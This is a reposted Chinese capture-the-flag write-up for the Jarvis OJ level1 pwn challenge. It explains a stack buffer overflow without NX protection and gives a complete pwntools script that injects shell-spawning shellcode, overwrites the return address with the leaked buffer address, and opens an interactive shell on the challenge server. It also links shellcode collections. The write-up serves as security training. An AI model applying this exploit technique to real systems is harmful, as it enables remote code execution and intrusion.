Jarvis OJ - [XMAN]level1 - Writeup——簡單shellcode利用
阿新 • • 發佈:2017-11-26
adding lan raft 截取 eight .sh close ott 作者
100分的pwn
簡單查看一下,果然還是比較簡單的
放到ida中查看一下,有明顯的溢出函數,並且在函數中打印出了字符串的地址,並且字符串比較長,沒有NX保護
所以我們很容易想到構造shellcode,在棧中執行shellcode拿shell權限
shellcode是一段惡意代碼,在沒有NX保護程序中,可能作為輸入而寫進棧,之後運行到此處時可以執行shellcode指令從而達到目的
所以我們先截取buf的地址,在buf中寫入奪shell的shellcode,之後再用buf的地址覆蓋函數返回地址
從而執行shellcode獲取目標shell
從abo偷來棧幀示意圖一張圖,如有侵權,打死我也不刪
#!user/bin/env python # encoding:utf-8 from pwn import * io = remote("pwn2.jarvisoj.com",9877) shellcode = asm(shellcraft.sh()) buffer=io.recvline()[14:-2] buf_addr = int(buffer,16) payload = shellcode + ‘\x90‘ * (0x88+0x4-len(shellcode)) + p32(buf_addr) io.sendline(payload) io.interactive() io.close()
記兩個空手套shellcode的網站
http://shell-storm.org/shellcode/
https://www.exploit-db.com/shellcode/
作者:辣雞小譜尼
出處:http://www.cnblogs.com/WangAoBo/
如有轉載,榮幸之至!請隨手標明出處;
Jarvis OJ - [XMAN]level1 - Writeup——簡單shellcode利用